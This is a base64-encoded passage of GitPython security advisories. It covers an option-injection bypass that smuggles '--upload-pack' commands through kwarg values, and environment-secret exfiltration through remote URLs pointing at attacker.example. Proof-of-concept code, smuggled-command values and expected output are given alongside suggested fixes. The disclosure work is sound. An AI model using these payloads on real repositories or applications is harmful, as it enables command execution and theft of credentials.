ibGFtZWAsIGBhcmNoaXZlYCkgYnkgc211Z2dsaW5nIGFuIG9wdGlvbiB0b2tlbiBpbnNpZGUgdGhlIFZBTFVFIG9mIGEgc2luZ2xlLWNoYXJhY3RlciBrd2FyZy4gSW4gdGhlIGRlZmF1bHQgYGFsbG93X3Vuc2FmZV9vcHRpb25zPUZhbHNlYCBjb25maWd1cmF0aW9uIHRoaXMgeWllbGRzIGFyYml0cmFyeSBjb21tYW5kIGV4ZWN1dGlvbiB2aWEgYC0tdXBsb2FkLXBhY2tgLgoKIyMjIyMgUm9vdCBDYXVzZQpUaGUgZ3VhcmQgYnVpbGRzIGl0cyBjYW5kaWRhdGUgb3B0aW9uIGxpc3QgZnJvbSBrd2FyZyBLRVlTIG9ubHk6IGBfb3B0aW9uX2NhbmRpZGF0ZXMoW10sIHsibiI6Ii0tdXBsb2FkLXBhY2s9PGNtZD4ifSlgIHJldHVybnMgYFsnLW4nXWAgKGNtZC5weToxMDQyLTEwNDYgZGVyaXZlcyB0aGUgY2FuZGlkYXRlIGZyb20gdGhlIGtleSwgbmV2ZXIgdGhlIHZhbHVlKS4gYC1uYCBpcyBub3Qgb24gdGhlIGRlbnlsaXN0LCBzbyBgY2hlY2tfdW5zYWZlX29wdGlvbnNgIHBhc3Nlcy4gQnV0IGB0cmFuc2Zvcm1fa3dhcmcoJ24nLCB2YWx1ZSwgc3BsaXRfc2luZ2xlX2NoYXJfb3B0aW9ucz1UcnVlKWAgKGNtZC5weToxNjAwLTE2MDYpIGVtaXRzICoqdHdvKiogYXJndiB0b2tlbnMgYFsnLW4nLCAnLS11cGxvYWQtcGFjaz08Y21kPiddYC4gZ2l0IHRoZW4gcGFyc2VzIHRoZSBzZWNvbmQgdG9rZW4gYXMgYC0tdXBsb2FkLXBhY2tgIGFuZCBleGVjdXRlcyB0aGUgYXR0YWNrZXItc3VwcGxpZWQgY29tbWFuZC4gVGhlIGd1YXJkIG5ldmVyIGluc3BlY3RzIHRoZSB2YWx1ZSB0aGF0IGJlY29tZXMgYSBzZXBhcmF0ZSBhcmd2IHRva2VuLgoKIyMjIyMgSW1wYWN0CkFyYml0cmFyeSBPUyBjb21tYW5kIGV4ZWN1dGlvbiBhcyB0aGUgaG9zdCBwcm9jZXNzICh2aWEgYC0tdXBsb2FkLXBhY2tgKSBpbiB0aGUgZGVmYXVsdCBjb25maWd1cmF0aW9uLCBhZmZlY3RpbmcgYWxsIGd1YXJkZWQgbWV0aG9kcyBzaW5jZSB0aGV5IGFsbCBidWlsZCBjYW5kaWRhdGVzIHRocm91Z2ggdGhlIG5hbWUtb25seSBgX29wdGlvbl9jYW5kaWRhdGVzYC4KCiMjIyMjIFByb29mIG9mIENvbmNlcHQKYGBgcHl0aG9uCmZyb20gZ2l0IGltcG9ydCBSZXBvClJlcG8uY2xvbmVfZnJvbShiYXJlX3JlcG8sIG91dF9kaXIsIG49Ii0tdXBsb2FkLXBhY2s9dG91Y2ggL3RtcC9BQ0U7Z2l0LXVwbG9hZC1wYWNrIikKCiMjIyMjIC90bXAvQUNFIGNyZWF0ZWQgLT4gQUNFLiBEaXJlY3QtbmFtZSBmb3JtIHVwbG9hZF9wYWNrPSIuLi4iIGlzIGNvcnJlY3RseSBCTE9DS0VELgpgYGAKRmlsZS13cml0ZSB2YXJpYW50IG9uIGEgZ3VhcmRlZCByZXZpc2lvbiBjb21tYW5kOiBgaXRlcl9jb21taXRzKCdIRUFEJywgZz0nLS1vdXRwdXQ9L3BhdGgnKWAgLT4gY2FuZGlkYXRlIGBbJy1nJ11gIHBhc3NlcywgYXJndiBgWyctZycsJy0tb3V0cHV0PS9wYXRoJ11gLCB2aWN0aW0gZmlsZSB0cnVuY2F0ZWQuCgojIyMjIyBBdHRhY2sgQ2hhaW4KMS4gRW50cnk6IGFwcCBmb3J3YXJkcyBhIHVzZXItc3VwcGxpZWQgb3B0aW9ucyBkaWN0IC0+IGBSZXBvLmNsb25lX2Zyb20odXJsLCBwYXRoLCBuPSItLXVwbG9hZC1wYWNrPXRvdWNoIC90bXAvQUNFO2dpdC11cGxvYWQtcGFjayIpYC4gR3VhcmQ6IGBjaGVja191bnNhZmVfb3B0aW9ucyhvcHRpb25zPV9vcHRpb25fY2FuZGlkYXRlcyhbXSwga3dhcmdzKSwgdW5zYWZlPXVuc2FmZV9naXRfY2xvbmVfb3B0aW9ucylgIGF0IGJhc2UucHkuIEJ5cGFzcyBwcm9vZjogYF9vcHRpb25fY2FuZGlkYXRlcyhbXSwgeyJuIjoiLS11cGxvYWQtcGFjaz0uLi4ifSlgIC0+IGBbJy1uJ11gIChrZXktb25seSksIG5vdCBvbiBkZW55bGlzdCAtPiBubyBVbnNhZmVPcHRpb25FcnJvciAodmVyaWZpZWQgbGl2ZSkuCjIuIFRyYW5zZm9ybTogYHRyYW5zZm9ybV9rd2FyZygnbicsIHZhbHVlLCBzcGxpdF9zaW5nbGVfY2hhcl9vcHRpb25zPVRydWUpYCAtPiBgWyctbicsICctLXVwbG9hZC1wYWNrPXRvdWNoIC90bXAvQUNFO2dpdC11cGxvYWQtcGFjayddYC4gR3VhcmQ6IG5vbmUgKGd1YXJkIGFscmVhZHkgcGFzc2VkIG9uIG5hbWUtb25seSBjYW5kaWRhdGUpLiBCeXBhc3MgcHJvb2Y6IHZlcmlmaWVkIHRyYW5zZm9ybSBlbWl0cyB0d28gdG9rZW5zLgozLiBTaW5rOiBgZ2l0IGNsb25lIC1uIC0tdXBsb2FkLXBhY2s9J3RvdWNoIC4uLjtnaXQtdXBsb2FkLXBhY2snIC0tIDxzcmM+IDxkc3Q+YDsgZ2l0IHBhcnNlcyBhbmQgcnVucyB0aGUgc2Vjb25kIHRva2VuLiBJbXBhY3Q6IEFDRSAobWFya2VyIGNyZWF0ZWQsIHZlcmlmaWVkIGVuZC10by1lbmQpLgoKIyMjIyMgQnlwYXNzIEV2aWRlbmNlCkxpdmUtdmVyaWZpZWQgb24gSEVBRCAodGFnIDMuMS41Myk6IGBfb3B0aW9uX2NhbmRpZGF0ZXNgIHJldHVybnMga2V5LW9ubHkgY2FuZGlkYXRlIGBbJy1uJ11gOyBgdHJhbnNmb3JtX2t3YXJnc2AgZW1pdHMgdGhlIHNtdWdnbGVkIGAtLXVwbG9hZC1wYWNrPWAgdG9rZW47IGNsb25lX2Zyb20gd2l0aCB0aGUgcGF5bG9hZCBjcmVhdGVkIHRoZSBtYXJrZXIgZmlsZTsgdGhlIGRpcmVjdC1uYW1lIGB1cGxvYWRfcGFjaz1gIGZvcm0gcmFpc2VkIFVuc2FmZU9wdGlvbkVycm9yLiBBbGwgcHJpb3IgYnlwYXNzZXMgKEdIU0EtcnBtNSB1bmRlcnNjb3JlIGtleSwgR0hTQS0yZjk2IGxvbmctb3B0aW9uIGFiYnJldmlhdGlvbiwgR0hTQS12Mzk2IGpvaW5lZCBzaG9ydCBvcHRpb24sIEdIU0EteDJxeCBtdWx0aS1iZWZvcmUtc3BsaXQpIGFyZSBCTE9DS0VEIG9uIEhFQUQg4oCUIHRoaXMgaXMgYSBkaXN0aW5jdCBrd2FyZy12YWx1ZS0+c2VwYXJhdGUtdG9rZW4gdmVjdG9yLgoKIyMjIyMgQWZmZWN0ZWQgVmVyc2lvbnMKYDw9IDMuMS41M2AKCiMjIyMjIFN1Z2dlc3RlZCBGaXgKTWFrZSBgX29wdGlvbl9jYW5kaWRhdGVzYCBhbHNvIGVtaXQgY2FuZGlkYXRlcyBkZXJpdmVkIGZyb20gc2luZ2xlLWNoYXJhY3RlciBrd2FyZyBWQUxVRVMgd2hlbiBgc3BsaXRfc2luZ2xlX2NoYXJfb3B0aW9uc2AgaXMgaW4gZWZmZWN0LCBPUiBydW4gYGNoZWNrX3Vuc2FmZV9vcHRpb25zYCBvdmVyIHRoZSBmdWxseS10cmFuc2Zvcm1lZCBhcmd2IHJhdGhlciB0aGFuIHRoZSByZWNvbnN0cnVjdGVkIG5hbWUtb25seSBjYW5kaWRhdGUgbGlzdC4KCi0tLQpSZXBvcnRlZCBieSAqKnp4IChKYWNlKSoqIOKAlCBHaXRIdWI6IEAmIzgyMDM7bWFudXMtdXNlCgojIyMjIFNldmVyaXR5Ci0gQ1ZTUyBTY29yZTogOC44IC8gMTAgKEhpZ2gpCi0gVmVjdG9yIFN0cmluZzogYENWU1M6My4xL0FWOk4vQUM6TC9QUjpML1VJOk4vUzpVL0M6SC9JOkgvQTpIYAoKIyMjIyBSZWZlcmVuY2VzCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLXI5bXItbTM3Yy01ZnIzXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3NlY3VyaXR5L2Fkdmlzb3JpZXMvR0hTQS1yOW1yLW0zN2MtNWZyMykKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxODBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTgwKQotIFtodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL2NvbW1pdC9lOGQwZmJmNzc0ZDFmNmJhYTNiNDgxYWRmZTQ4YmQyNjJlNDNiNDUzXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL2NvbW1pdC9lOGQwZmJmNzc0ZDFmNmJhYTNiNDgxYWRmZTQ4YmQyNjJlNDNiNDUzKQotIFtodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uKQotIFtodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3JlbGVhc2VzL3RhZy8zLjEuNTRdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcmVsZWFzZXMvdGFnLzMuMS41NCkKClRoaXMgZGF0YSBpcyBwcm92aWRlZCBieSBbT1NWXShodHRwczovL29zdi5kZXYvdnVsbmVyYWJpbGl0eS9HSFNBLXI5bXItbTM3Yy01ZnIzKSBhbmQgdGhlIFtHaXRIdWIgQWR2aXNvcnkgRGF0YWJhc2VdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRodWIvYWR2aXNvcnktZGF0YWJhc2UpIChbQ0MtQlkgNC4wXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0aHViL2Fkdmlzb3J5LWRhdGFiYXNlL2Jsb2IvbWFpbi9MSUNFTlNFLm1kKSkuCjwvZGV0YWlscz4KCi0tLQoKIyMjIEdpdFB5dGhvbjogRW52aXJvbm1lbnQtdmFyaWFibGUgZXhmaWx0cmF0aW9uIHZpYSBSZXBvLmNyZWF0ZV9yZW1vdGUoKSAvIFJlbW90ZS5hZGQoKSBVUkwgKGluY29tcGxldGUgZml4IG9mIEdIU0EtcndqOC1wZ2gzLXI1NzMpCltHSFNBLTk0cDQtNGNxOC05ZzY3XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLTk0cDQtNGNxOC05ZzY3KQoKPGRldGFpbHM+CjxzdW1tYXJ5Pk1vcmUgaW5mb3JtYXRpb248L3N1bW1hcnk+CgojIyMjIERldGFpbHMKIyMjIyMgU3VtbWFyeQoKVGhlIGZpeCBmb3IgW0dIU0EtcndqOC1wZ2gzLXI1NzNdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLXJ3ajgtcGdoMy1yNTczKSBzdG9wcGVkIGBSZXBvLmNsb25lX2Zyb20oKWAgZnJvbSBydW5uaW5nIGNhbGxlci1zdXBwbGllZCBVUkxzIHRocm91Z2ggYG9zLnBhdGguZXhwYW5kdmFycygpYCwgYnV0IGl0IGd1YXJkZWQgb25seSB0aGF0IG9uZSBjYWxsZXIuIGBSZW1vdGUuY3JlYXRlKClgIOKAlCByZWFjaGVkIGZyb20gdGhlIHB1YmxpYyBgUmVwby5jcmVhdGVfcmVtb3RlKClgIGFuZCBpdHMgYFJlbW90ZS5hZGQoKWAgYWxpYXMg4oCUIHN0aWxsIHBhc3NlcyBhbiBhdHRhY2tlci1pbmZsdWVuY2VhYmxlIFVSTCB0aHJvdWdoIGBHaXQucG9saXNoX3VybCgpYCB3aXRoIHRoZSBkZWZhdWx0IGBleHBhbmRfdmFycz1UcnVlYC4gQSBVUkwgc3VjaCBhcyBgaHR0cDovL2F0dGFja2VyLmV4YW1wbGUvJHtBV1NfU0VDUkVUX0FDQ0VTU19LRVl9L3JlcG8uZ2l0YCBpcyBleHBhbmRlZCBzZXJ2ZXItc2lkZSB0byBlbWJlZCB0aGUgaG9zdGluZyBwcm9jZXNzJ3MgZW52aXJvbm1lbnQgc2VjcmV0LCB3cml0dGVuIGludG8gYC5naXQvY29uZmlnYCwgYW5kIHRoZW4gdHJhbnNtaXR0ZWQgdG8gdGhlIGF0dGFja2VyJ3MgaG9zdCBvbiB0aGUgbmV4dCBgZmV0Y2hgL2BwdWxsYC4gVGhpcyBpcyB0aGUgc2FtZSBwcmltaXRpdmUgYW5kIHNhbWUgImltcG9ydCByZXBvc2l0b3J5IGZyb20gVVJMIiB0aHJlYXQgbW9kZWwgdGhlIGFkdmlzb3J5IGRlc2NyaWJlcywgdmlhIHRoZSBzaWJsaW5nIGNhbGxlciB0aGUgZml4IG1pc3NlZC4KCiMjIyMjIFJvb3QgQ2F1c2UKCkZpeCBjb21taXQgW2A4YWM1YTMwNWBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vY29tbWl0LzhhYzVhMzA1MTliNmY0YWY4NTM5OGI5YjlkNzA2NGZmNGQ0NTJkYTIpIGFkZGVkIGFuIGBleHBhbmRfdmFyc2AgcGFyYW1ldGVyIHRvIGBHaXQucG9saXNoX3VybCgpYCAoZGVmYXVsdCBgVHJ1ZWApIGFuZCB1c2VkIGBleHBhbmRfdmFycz1GYWxzZWAgb25seSBpbiBgUmVwby5fY2xvbmUoKWAgKFtgZ2l0L3JlcG8vYmFzZS5weToxNDU1YF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9ibG9iLzMuMS41My9naXQvcmVwby9iYXNlLnB5I0wxNDU1KSkuIFRoZSBzaGFyZWQgaGVscGVyJ3MgZGFuZ2Vyb3VzIGRlZmF1bHQgd2FzIGxlZnQgaW4gcGxhY2UsIGFuZCB0aGUgb3RoZXIgY2FsbGVycyB3ZXJlIG5vdCB1cGRhdGVkLgoKW2BnaXQvcmVtb3RlLnB5OjgxMWBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vYmxvYi8zLjEuNTMvZ2l0L3JlbW90ZS5weSNMODExKSwgYFJlbW90ZS5jcmVhdGVgOgoKYGBgcHl0aG9uCnVybCA9IEdpdC5wb2xpc2hfdXJsKHVybCkgICAgICAgICAgICAgICAgICMgZXhwYW5kX3ZhcnM9VHJ1ZSAtPiBvcy5wYXRoLmV4cGFuZHZhcnModXJsKQppZiBub3QgYWxsb3dfdW5zYWZlX3Byb3RvY29sczoKICAgIEdpdC5jaGVja191bnNhZmVfcHJvdG9jb2xzKHVybCkgICAgICAgIyBodHRwczovLyBjYXJyeWluZyB0aGUgc2VjcmV0IHBhc3NlcwpyZXBvLmdpdC5yZW1vdGUoc2NtZCwgIi0tIiwgbmFtZSwgdXJsLCAqKmt3YXJncykgICAjIGV4cGFuZGVkIFVSTCB3cml0dGVuIHRvIC5naXQvY29uZmlnCmBgYAoKYGNoZWNrX3Vuc2FmZV9wcm90b2NvbHMoKWAgcnVucyAqYWZ0ZXIqIGV4cGFuc2lvbiBoZXJlLCBzbyBpdCByZWplY3RzIGFuIGBleHQ6OmAgcGF5bG9hZCBidXQgZG9lcyBub3RoaW5nIGFib3V0IGFuIGBodHRwczovL2AgVVJMIHRoYXQgY2FycmllcyBhbiBleHBhbmRlZCBzZWNyZXQgaW4gaXRzIHBhdGggb3IgaG9zdCDigJQgdGhlIGRpc2Nsb3N1cmUgcHJpbWl0aXZlLgoKVGhlIHNhbWUgdW5ndWFyZGVkIGNhbGwgYWxzbyBzaXRzIGF0IFtgZ2l0L29iamVjdHMvc3VibW9kdWxlL2Jhc2UucHk6NjExYF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9ibG9iLzMuMS41My9naXQvb2JqZWN0cy9zdWJtb2R1bGUvYmFzZS5weSNMNjExKSAoYFN1Ym1vZHVsZS5hZGRgKSwgd2hpY2ggd3JpdGVzIHRoZSBleHBhbmRlZCBVUkwgaW50byBgLmdpdG1vZHVsZXNgIChhIHRyYWNrZWQgZmlsZSkgYW5kIGAuZ2l0L2NvbmZpZ2AuCgojIyMjIyBTdGVwcyB0byBSZXByb2R1Y2UKCiMjIyMjIFByZXJlcXVpc2l0ZXMKCi0gUHl0aG9uIDMuOSsKLSBgZ2l0YCBvbiBgUEFUSGAgKGZvciB0aGUgZmV0Y2ggc3RlcCkKLSBHaXRQeXRob24gMy4xLjUzIChpbnN0YWxsZWQgYmVsb3cpCgojIyMjIyBTdGVwIDE6IEluc3RhbGwgR2l0UHl0aG9uIDMuMS41MyBpbiBhIGNsZWFuIHZlbnYKCmBgYGJhc2gKbWtkaXIgL3RtcC9ncC1yZW1vdGUtcG9jICYmIGNkIC90bXAvZ3AtcmVtb3RlLXBvYwpweXRob24zIC1tIHZlbnYgdmVudgouL3ZlbnYvYmluL3BpcCBpbnN0YWxsIGdpdHB5dGhvbj09My4xLjUzCmBgYAoKIyMjIyMgU3RlcCAyOiBXcml0ZSB0aGUgUG9DCgpgYGBiYXNoCmNhdCA+IHBvYy5weSA8PCdQWUVPRicKCiMhL3Vzci9iaW4vZW52IHB5dGhvbjMKIiIiRW52LXZhciBleGZpbHRyYXRpb24gdmlhIFJlcG8uY3JlYXRlX3JlbW90ZSgpIFVSTC4gU2VudGluZWwgZGF0YSBvbmx5LiIiIgppbXBvcnQgaHR0cC5zZXJ2ZXIKaW1wb3J0IG9zCmltcG9ydCB0ZW1wZmlsZQppbXBvcnQgdGhyZWFkaW5nCgppbXBvcnQgZ2l0CgpwcmludCgiZ2l0cHl0aG9uIHZlcnNpb246IiwgZ2l0Ll9fdmVyc2lvbl9fKQoKIyMjIyMgU2VudGluZWwgc3RhbmRpbmcgaW4gZm9yIGEgcHJvY2VzcyBzZWNyZXQgc3VjaCBhcyBBV1NfU0VDUkVUX0FDQ0VTU19LRVkuClNFTlRJTkVMID0gImxlYWtlZC1hMWIyYzMtU0VOVElORUwtZG8tbm90LXVzZSIKb3MuZW52aXJvblsiR1BfU0VOVElORUxfU0VDUkVUIl0gPSBTRU5USU5FTAoKIyMjIyMgTG9jYWwgSFRUUCBzZXJ2ZXIgc3RhbmRpbmcgaW4gZm9yIGF0dGFja2VyLmV4YW1wbGUuCmNhcHR1cmVkID0gW10KCmNsYXNzIEhhbmRsZXIoaHR0cC5zZXJ2ZXIuQmFzZUhUVFBSZXF1ZXN0SGFuZGxlcik6CiAgICBkZWYgZG9fR0VUKHNlbGYpOgogICAgICAgIGNhcHR1cmVkLmFwcGVuZChzZWxmLnBhdGgpCiAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDQwNCkKICAgICAgICBzZWxmLmVuZF9oZWFkZXJzKCkKCiAgICBkZWYgbG9nX21lc3NhZ2Uoc2VsZiwgKmEpOgogICAgICAgIHBhc3MKCnNydiA9IGh0dHAuc2VydmVyLkhUVFBTZXJ2ZXIoKCIxMjcuMC4wLjEiLCAwKSwgSGFuZGxlcikKcG9ydCA9IHNydi5zZXJ2ZXJfYWRkcmVzc1sxXQp0aHJlYWRpbmcuVGhyZWFkKHRhcmdldD1zcnYuc2VydmVfZm9yZXZlciwgZGFlbW9uPVRydWUpLnN0YXJ0KCkKCiMjIyMjIEF0dGFja2VyLWNvbnRyb2xsZWQgVVJMIGhhbmRlZCB0byBhbiAiaW1wb3J0IGZyb20gVVJMIiBmZWF0dXJlLgphdHRhY2tlcl91cmwgPSAiaHR0cDovLzEyNy4wLjAuMTolZC9zdGVhbC8ke0dQX1NFTlRJTkVMX1NFQ1JFVH0vcmVwby5naXQiICUgcG9ydAoKZGVmIG5vcm0ocyk6ICAjIGRpc3BsYXkgdGhlIGVwaGVtZXJhbCBsaXN0ZW5lciBwb3J0IGFzIGEgc3RhYmxlIHBsYWNlaG9sZGVyCiAgICByZXR1cm4gcy5yZXBsYWNlKCIxMjcuMC4wLjE6JWQiICUgcG9ydCwgIjEyNy4wLjAuMTpQT1JUIikKCnByaW50KCJhdHRhY2tlci1zdXBwbGllZCBVUkwgOiIsIG5vcm0oYXR0YWNrZXJfdXJsKSkKCnJlcG8gPSBnaXQuUmVwby5pbml0KHRlbXBmaWxlLm1rZHRlbXAocHJlZml4PSJncC12aWN0aW0tIikpCnJlbW90ZSA9IHJlcG8uY3JlYXRlX3JlbW90ZSgiZXZpbCIsIGF0dGFja2VyX3VybCkgICAjIHB1YmxpYyBBUEkKCnN0b3JlZCA9IHJlcG8ucmVtb3RlKCJldmlsIikudXJsCnByaW50KCJzdG9yZWQgcmVtb3RlIFVSTCAgICAgOiIsIG5vcm0oc3RvcmVkKSkKcHJpbnQoIlNFTlRJTkVMIGluIGdpdCBjb25maWc6IiwgU0VOVElORUwgaW4gc3RvcmVkKQoKdHJ5OgogICAgcmVtb3RlLmZldGNoKCkgICAgICAgICAgIyB0cmFuc21pdHMgdGhlIGV4cGFuZGVkIFVSTCB0byB0aGUgYXR0YWNrZXIgaG9zdApleGNlcHQgRXhjZXB0aW9uOgogICAgcGFzcyAgICAgICAgICAgICAgICAgICAgIyBmZXRjaCBmYWlscyBhZnRlciB0aGUgcmVxdWVzdCBpcyBhbHJlYWR5IHNlbnQKCnNydi5zaHV0ZG93bigpCm92ZXJfbmV0d29yayA9IGFueShTRU5USU5FTCBpbiBwIGZvciBwIGluIGNhcHR1cmVkKQpwcmludCgiSFRUUCBwYXRocyByZWNlaXZlZCAgIDoiLCBbbm9ybShwKSBmb3IgcCBpbiBjYXB0dXJlZF0pCnByaW50KCJTRU5USU5FTCBvdmVyIG5ldHdvcmsgOiIsIG92ZXJfbmV0d29yaykKCnByaW50KCkKaWYgU0VOVElORUwgaW4gc3RvcmVkIGFuZCBvdmVyX25ldHdvcms6CiAgICBwcmludCgiVlVMTkVSQUJMRTogZW52LXZhciBleHBhbmRlZCBpbnRvIHN0b3JlZCBVUkwgQU5EIHRyYW5zbWl0dGVkIHRvIGF0dGFja2VyIGhvc3QiKQplbGlmIFNFTlRJTkVMIGluIHN0b3JlZDoKICAgIHByaW50KCJWVUxORVJBQkxFOiBlbnYtdmFyIGV4cGFuZGVkIGludG8gc3RvcmVkIGdpdC1jb25maWcgVVJMIikKZWxzZToKICAgIHByaW50KCJub3QgcmVwcm9kdWNlZCIpClBZRU9GCmBgYAoKIyMjIyMgU3RlcCAzOiBSdW4gaXQKCmBgYGJhc2gKY2QgL3RtcC9ncC1yZW1vdGUtcG9jICYmIC4vdmVudi9iaW4vcHl0aG9uIHBvYy5weQpgYGAKCkV4cGVjdGVkIG91dHB1dCAodGhlIGxpc3RlbmVyJ3MgZXBoZW1lcmFsIHBvcnQgaXMgc2hvd24gYXMgYFBPUlRgKToKCmBgYApnaXRweXRob24gdmVyc2lvbjogMy4xLjUzCmF0dGFja2VyLXN1cHBsaWVkIFVSTCA6IGh0dHA6Ly8xMjcuMC4wLjE6UE9SVC9zdGVhbC8ke0dQX1NFTlRJTkVMX1NFQ1JFVH0vcmVwby5naXQKc3RvcmVkIHJlbW90ZSBVUkwgICAgIDogaHR0cDovLzEyNy4wLjAuMTpQT1JUL3N0ZWFsL2xlYWtlZC1hMWIyYzMtU0VOVElORUwtZG8tbm90LXVzZS9yZXBvLmdpdApTRU5USU5FTCBpbiBnaXQgY29uZmlnOiBUcnVlCkhUVFAgcGF0aHMgcmVjZWl2ZWQgICA6IFsnL3N0ZWFsL2xlYWtlZC1hMWIyYzMtU0VOVElORUwtZG8tbm90LXVzZS9yZXBvLmdpdC9pbmZvL3JlZnM/c2VydmljZT1naXQtdXBsb2FkLXBhY2snXQpTRU5USU5FTCBvdmVyIG5ldHdvcmsgOiBUcnVlCgpWVUxORVJBQkxFOiBlbnYtdmFyIGV4cGFuZGVkIGludG8gc3RvcmVkIFVSTCBBTkQgdHJhbnNtaXR0ZWQgdG8gYXR0YWNrZXIgaG9zdApgYGAKClRoZSBgJHtHUF9TRU5USU5FTF9TRUNSRVR9YCB0b2tlbiBpbiB0aGUgc3VwcGxpZWQgVVJMIGlzIHJlcGxhY2VkIHdpdGggdGhlIGVudmlyb25tZW50IHZhbHVlIGJvdGggaW4gdGhlIHN0b3JlZCBgLmdpdC9jb25maWdgIFVSTCBhbmQgaW4gdGhlIHJlcXVlc3QgdGhhdCByZWFjaGVzIHRoZSBhdHRhY2tlci1jb250cm9sbGVkIGhvc3QuCgojIyMjIyBTdWdnZXN0ZWQgRml4CgpQYXNzIGBleHBhbmRfdmFycz1GYWxzZWAgYXQgdGhlIHJlbWFpbmluZyBVUkwgY2FsbGVycywgbWF0Y2hpbmcgdGhlIGNsb25lIGZpeDoKCi0gYGdpdC9yZW1vdGUucHlgIGBSZW1vdGUuY3JlYXRlYDogYHVybCA9IEdpdC5wb2xpc2hfdXJsKHVybCwgZXhwYW5kX3ZhcnM9RmFsc2UpYAotIGBnaXQvb2JqZWN0cy9zdWJtb2R1bGUvYmFzZS5weWAgYFN1Ym1vZHVsZS5hZGRgOiBgdXJsID0gR2l0LnBvbGlzaF91cmwodXJsLCBleHBhbmRfdmFycz1GYWxzZSlgCgpNb3JlIHJvYnVzdGx5LCBmbGlwIHRoZSBgR2l0LnBvbGlzaF91cmwoKWAgZGVmYXVsdCB0byBgZXhwYW5kX3ZhcnM9RmFsc2VgIChlbnYtdmFyIGV4cGFuc2lvbiBvbiBhIFVSTCBpcyBuZXZlciBkZXNpcmFibGUgZm9yIG5ldHdvcmsgcmVtb3RlcykgYW5kIHJlcXVpcmUgY2FsbGVycyB0aGF0IGdlbnVpbmVseSBub3JtYWxpemUgbG9jYWwgcGF0aHMgdG8gb3B0IGluLgoKIyMjIyMgQ2xlYW51cAoKYGBgYmFzaApybSAtcmYgL3RtcC9ncC1yZW1vdGUtcG9jCmBgYAoKIyMjIyMgSW1wYWN0CgpBbnkgc2VjcmV0IGluIHRoZSBob3N0aW5nIHByb2Nlc3MgZW52aXJvbm1lbnQgKGBBV1NfU0VDUkVUX0FDQ0VTU19LRVlgLCBgR0lUSFVCX1RPS0VOYCwgQ0kvQ0QgdG9rZW5zKSBpcyBkaXNjbG9zZWQgdG8gYW4gYXR0YWNrZXIgd2hvIGNvbnRyb2xzIGEgcmVtb3RlIFVSTCBwYXNzZWQgdG8gYFJlcG8uY3JlYXRlX3JlbW90ZSgpYCAvIGBSZW1vdGUuYWRkKClgLiBUaGUgc2VjcmV0IGlzIGV4cGFuZGVkIGludG8gYC5naXQvY29uZmlnYCBpbW1lZGlhdGVseSBhbmQgdHJhbnNtaXR0ZWQgb3ZlciB0aGUgbmV0d29yayAoRE5TICsgSFRUUCkgb24gdGhlIG5leHQgYGZldGNoYC9gcHVsbGAvYHJlbW90ZSB1cGRhdGVgLiBUaGlzIGlzIHRoZSBkb2N1bWVudGVkICJpbXBvcnQgcmVwb3NpdG9yeSBmcm9tIFVSTCIgYXR0YWNrZXIgbW9kZWwgb2YgR0hTQS1yd2o4LXBnaDMtcjU3MyDigJQgQ0kgc2VydmVycywgZ2l0LWhvc3RpbmcgbWlycm9ycywgYW5kIGRlcGVuZGVuY3kgc2Nhbm5lcnMg4oCUIGFwcGxpZWQgdG8gdGhlIGFkZC1hLXJlbW90ZSBmbG93LCB3aGljaCB0aGUgY2xvbmUtb25seSBmaXggZGlkIG5vdCBjb3Zlci4gVGhlIHNhbWUgZGlzY2xvc3VyZSByZWFjaGVzIGAuZ2l0bW9kdWxlc2AgKGEgY29tbWl0dGFibGUgZmlsZSkgdmlhIGBTdWJtb2R1bGUuYWRkKClgLgoKIyMjIyBTZXZlcml0eQotIENWU1MgU2NvcmU6IDcuNSAvIDEwIChIaWdoKQotIFZlY3RvciBTdHJpbmc6IGBDVlNTOjMuMS9BVjpOL0FDOkwvUFI6Ti9VSTpOL1M6VS9DOkgvSTpOL0E6TmAKCiMjIyMgUmVmZXJlbmNlcwotIFtodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3NlY3VyaXR5L2Fkdmlzb3JpZXMvR0hTQS05NHA0LTRjcTgtOWc2N10oaHR0cHM6Ly9yZW